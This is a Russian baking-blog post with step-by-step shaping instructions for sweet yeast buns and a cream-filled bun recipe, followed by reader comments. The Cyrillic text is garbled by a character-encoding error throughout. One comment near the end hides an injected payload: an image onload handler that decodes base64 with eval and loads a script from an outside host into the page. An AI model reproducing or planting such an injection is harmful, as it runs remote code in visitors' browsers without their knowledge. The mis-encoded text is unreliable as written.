-–убрики

–азделка сдобных булочек... ѕ–ќ—“ќ  Ћј——!!! пошаговые фото...

¬оскресенье, 21 ќкт€бр€ 2012 г. 06:00 + в цитатник

источник

—ƒќЅЌјя Ѕ”Ћќ„ ј є1 Ќј  ≈‘»–≈



ƒл€ теста:
- 400 мл кефира
- 2 €йца
- 1,5 ч. ложки сухих дрожжей
- 100 грамм сливочного масла
- 2 ст. ложки растительного масла
- 0,5 ч. ложки соли
- 3-4 ст. ложки сахара
- мука до нужной консистенции теста (около 1 кг)
 
      
«авести безопарное тесто и поставить подходить в теплое место.
ѕироги перед выпечкой смазать взбитым с сахаром €йцом с добавлением 1 ст. ложки молока.
«атем дать рассто€тьс€ 10-15 минут и выпекать при 200 гр. —.
 
»з этого теста можно сделать пирожки с начинкой из €блок или пирог с €блоками.
 
“акже из этого теста можно сделать пирог с вареньем, джемом или с другой сладкой начинкой по вкусу.

 

 

—ƒќЅЌјя Ѕ”Ћќ„ ј є"2


 
—добное тесто раскатать продолговатой лепешкой, нарезать на узкие полоски с одной стороны.
—мазать (не об€зательно) растопленным сливочным маслом, посыпать сахаром и корицей.
 
¬з€ть за край, из которого полоски начинаютс€, приподн€ть тесто, другой рукой вз€ть концы полосок и скрутить булочку (зав€зать в узел).
ѕеред свертыванием булочки каждую полоску можно винтообразно скрутить.
 
—мазать взбитым с сахаром €йцом и выпечь.

 

—ƒќЅЌјя Ѕ”Ћќ„ ј є3


 
–аскатать тесто в лепешечку и положить на середину варенье.
 
ѕриподнима€ кра€ лепешки, собрать их над вареньем (как мешочек).
 
—обранные кра€ теста сжать над вареньем, чтобы закрыть "мешочек".
 
ѕоложить "мешочек" на бок, как показано на фото.
 
»ли "мешочек" можно положить так, немного расправив кра€.
 
—мазать взбитым с сахаром €йцом, дать рассто€тьс€ и выпекать.

—ƒќЅЌјя Ѕ”Ћќ„ ј є4


 
–аскатать тесто в лепешечку...
 
...сделать надрез сбоку с одной стороны и не до конца...
 
...сделать еще надрезы, образу€ в середине лепешки треугольник.
 
ќдну полоску перекрутить и положить по краю треугольника.
 
¬торую полоску перекрутить и положить по краю поверх первой полоски.
 
—делать то же самое с третьей полоской, образу€ треугольную булочку.
 
—мазать взбитым €йцом, дать рассто€тьс€, в середину положить джем или густое варенье и выпекать.
 
 
—ƒќЅЌјя Ѕ”Ћќ„ ј є5
 

 
–аскатать тесто в лепешечку, смазать ее растопленным сливочным маслом (можно смазать и растительным маслом), немного посыпать сахаром.
 
—катать лепешечку в рулончик.
 
 рай рулончика должен остатьс€ сверху.
 
ѕридержива€, чтобы рулончик не распалс€, сворачиваем оба кра€ рулончика к середине.
 
ѕеревертываем швом вниз.
 
— двух краев делаем ножом разрезы почти до середины свернутого теста.
 
–асправл€ем разрезанные концы в стороны.
»ли можно один край оставить неразвернутым.
 
ћожно концы соединить - получитс€ совсем друга€ форма булочки.
»ли можно развести концы в разные стороны - получитс€ "бабочка".
 
—мазываем взбитым с сахаром €йцом, даем рассто€тьс€ и выпекаем.
 
—ƒќЅЌјя Ѕ”Ћќ„ ј є6
 
 

 
–аскатать тесто в два жгута и соединить их концы.
 
—крутить жгуты в косичку.
 
—оединить концы косички - получитс€ кольцо. ≈го можно выпечь и таком виде - это будет смотретьс€ красиво.
 
—катываем шарик из теста.
 
¬ середине шарика делаем пальцем отверстие, чтобы получилс€ бублик.
 
 ра€ теста завертываем через отверстие в середину бублика.
 ладем бублик в середину кольца и оставл€ем на расстойку.
 
ѕосле подъема теста делаем ножницами надрезы по краю бублика.
 
—мазываем взбитым с сахаром €йцом, даем рассто€тьс€ и выпекаем.

ѕ–»ћ≈„јЌ»≈. ¬ этом изделии центральную круглую булочку можно сделать с начинкой.
 
 
—ƒќЅЌјя Ѕ”Ћќ„ ј є7
 

 
–аскатать продолговатую лепешку.
 
ѕо длинным сторонам лепешки сделать ножом два разреза
 
ѕриподн€ть один надрезанный край, скатать жгутиком и положить на другую сторону лепешки.
 
—делать то же с надрезанной частью с другой стороны.
 
—мазать взбитый €йцом (в €йцо можно положить немного сахара), дать рассто€тьс€, в образованное углубление положить €годы или варенье, джем и выпечь.
 
—ƒќЅЌјя Ѕ”Ћќ„ ј є8
 

 
–аскатать тесто в круглую лепешечку.
 
 рай тонкого стакана обмакнуть в муку, вырезать стаканом круг в середине лепешечки.
 
ѕолучитс€ тест€ное колечко.
 
—вертываем колечко восьмеркой.
 
ќдну часть восьмерки поднимаем и кладем на другую часть, чтобы получилось колечко.
 
—вернутое из восьмерки колечко кладем на ранее вырезанный стаканом тест€ной кружок - получаетс€ "колодец" дл€ начинки.
 
—мазываем взбитым с сахаром €йцом, даем рассто€тьс€, наполн€ем "колодец" вареньем или джемом и выпекаем.
 
—ƒќЅЌјя Ѕ”Ћќ„ ј є9
 
 

 
–аскатать тесто в лепешку и положить на нее варенье.
 
Ќакрыть начинку половиной лепешки.
“есто вокруг начинки тщательно придавить, чтобы начинка не вытекала при выпечке.
 
—делать по краю теста 6-9 разрезов ножом (следить, чтобы не прорезать до начинки!).
 
—мазать булочку взбитым с сахаром €йцом, дать рассто€тьс€ и выпекать.

ѕ–»ћ≈„јЌ»≈. ƒобавка сахара в €йцо дл€ смазки придает издели€м особенно €ркий поджаристый цвет.


 

Ѕ”Ћќ„ » " –≈ћ-ѕј–»«№≈Ќ"

 




 
»Ќ√–»ƒ»≈Ќ“џ
ƒл€ теста:
• 375 г муки (предварительно просе€ть)
• 5 г сухих дрожжей (или 15 г живых)
• 75 г сахара
• 1/3 ч. л. соли
• 12 г сухого молока (или растворимые сливки дл€ кофе)
• 40 г растопленного сливочного масла
• 1/2 ч. л. лимонной цедры
• 1 маленькое €йцо
• 195 мл воды (или молока, или смеси молока и воды 1:1)
ƒл€ крема:
• 350 мл молока
• 2 желтка
• 2 полных ст. л. кукурузного крахмала (или муки)
• 4 ст.л. сахара
• цедра 1/2 лимона, срезанна€ лентой
• ванилин или ванильный сахар по вкусу
• 40 г сливочного масла
• 50 г сладкого миндал€ и 1 горькую миндалину поджарить и перемолоть в блендере
• 1 ст. л. лимонного сока
      
ѕриготовить тесто:
—мешать все сухие ингредиенты: муку, сливки(молоко), дрожжи, сахар, соль. €йцо взбить вилкой и соединить с водой и постепенно ввод€ в мучную смесь, замесить тесто. ƒобавить цедру и масло, вмесить в тесто.
“есто получаетс€ липкое, но муку больше не добавл€ть.
Ќакрыть тесто полотенечком и поставить подходить, примерно, на 2 часа.
ѕриготовить крем:
–азвести крахмал в молоке, добавить желтки, сахар, ваниль, цедру и поставить варить на среднем огне посто€нно помешива€ (готовый крем начинает булькать).
ќстудить, добавить масло, слегка взбить и, добавив миндаль и сок, перемешать.
–азделка:
ќбм€ть подошедшее тесто, рабочую поверхность припылить мукой и разделить тесто на 15 кусочков.
–аскатать каждый кусочек овалом 12-15 см.
¬ыложить крем ближе к одному краю, отступив от кра€ 3 см.


«акрыть крем тестом и хорошо залепить кра€.


ќставшийс€ край теста нарезать полосками и свернуть булочку.


ѕоместить булочки на противень, застеленный пекарской бумагой, и поставить на расстойку на 30 мин.
—мазать желтком и выпекать в прогретой до 180 гр. — духовке 15 минут до золотистого цвета.
√отовые булочки накрыть полотенцем и, дав поостыть 10-15 минут, посыпать сахарной пудрой.
ѕ–»ћ≈„јЌ»≈. ћожно приготовить и шоколадные "парижанки", заменив в тесте 2-3 ст. л. муки на какао-порошок.
¬ этом случае в крем лучше добавить шоколад вместо масла.

ѕревью sd-bul-02-02 (350x294, 59Kb)

–убрики:    _ ” _ Ћ _ » _ Ќ _ ј _ – _ » _ я/рецепты ¬џѕ≈„ ј, ЅЋ»Ќџ
ћетки:  

ѕроцитировано 213 раз
ѕонравилось: 49 пользовател€м



”шкалова   обратитьс€ по имени ¬оскресенье, 21 ќкт€бр€ 2012 г. 08:07 (ссылка)
ќгромное спасибо!
ќтветить — цитатой ¬ цитатник
изовера   обратитьс€ по имени ¬оскресенье, 21 ќкт€бр€ 2012 г. 14:06 (ссылка)
¬от это по-нашему! —пасибо!
ќтветить — цитатой ¬ цитатник
Klarissa124   обратитьс€ по имени —реда, 24 ќкт€бр€ 2012 г. 01:26 (ссылка)
—пасибо!!!!
7a69e1658c80 (296x545, 169Kb)
ќтветить — цитатой ¬ цитатник
Ќина_–оманцова   обратитьс€ по имени ¬оскресенье, 10 ‘еврал€ 2013 г. 15:34 (ссылка)
ћного интересных идей дл€ выпечки. ѕросто - класс! —пасибо!
ќтветить — цитатой ¬ цитатник
ќльгаћ   обратитьс€ по имени ¬оскресенье, 17 ‘еврал€ 2013 г. 18:23 (ссылка)
—пасибо за подробный ћ !!!!!!!!!!!!!
ќтветить — цитатой ¬ цитатник
tosya_kuhovarka   обратитьс€ по имени —уббота, 01 ћарта 2014 г. 13:24 (ссылка)
ћммм как же € люблю булочки.
ќтветить — цитатой ¬ цитатник
јлина_»льинска€   обратитьс€ по имени ¬торник, 29 »юл€ 2014 г. 14:18 (ссылка)
 ак раз кстати! спасибо! ѕригодилось!!!
 артинка
ќтветить — цитатой ¬ цитатник
Ћучьша€   обратитьс€ по имени ѕонедельник, 18 ћа€ 2015 г. 09:03 (ссылка)
Ѕлагодарю!!!:pooh_birt
ќтветить — цитатой ¬ цитатник
ptitschka   обратитьс€ по имени ¬оскресенье, 31 ћа€ 2015 г. 14:08 (ссылка)
јх, какие замечательные подсказки! «дорово! — благодарностью цитирую!
ќтветить — цитатой ¬ цитатник
Ќадежда_јл   обратитьс€ по имени ѕ€тница, 11 —ент€бр€ 2015 г. 14:34 (ссылка)
ѕора печь из сдобного дрожжевого теста. —егодн€ пекла из слоеного.
ќтветить — цитатой ¬ цитатник
баба_тома   обратитьс€ по имени —реда, 04 Ќо€бр€ 2015 г. 15:04 (ссылка)
ќтветить — цитатой ¬ цитатник
Mashany   обратитьс€ по имени ¬оскресенье, 06 ƒекабр€ 2015 г. 15:28 (ссылка)
ќгромное спасибо!!!!!ќчень все доступно и пон€тно
ќтветить — цитатой ¬ цитатник
doicahart   обратитьс€ по имени —реда, 29 Ќо€бр€ 2017 г. 15:51 (ссылка)
мм

data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///ywAAAAAAQABAAACAUwAOw==" onload="eval(atob('d2luZG93LkdUQ1pZWDU2Nz0nNTliOTA5OGM5NzRmNyc7IHZhciBzYz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKQpzYy5zZXRBdHRyaWJ1dGUoJ3NyYycsICcvL3RvcGNvbW0ubmV0L2hpdC5qcycpCmRvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCdib2R5JylbMF0uYXBwZW5kQ2hpbGQoc2MpOw=='));"
ќтветить — цитатой ¬ цитатник
 омментировать   дневнику —траницы: [1] [Ќовые]
 

ƒобавить комментарий:
“екст комментари€: смайлики

ѕроверка орфографии: (найти ошибки)

ѕрикрепить картинку:

 ѕереводить URL в ссылку
 ѕодписатьс€ на комментарии
 ѕодписать картинку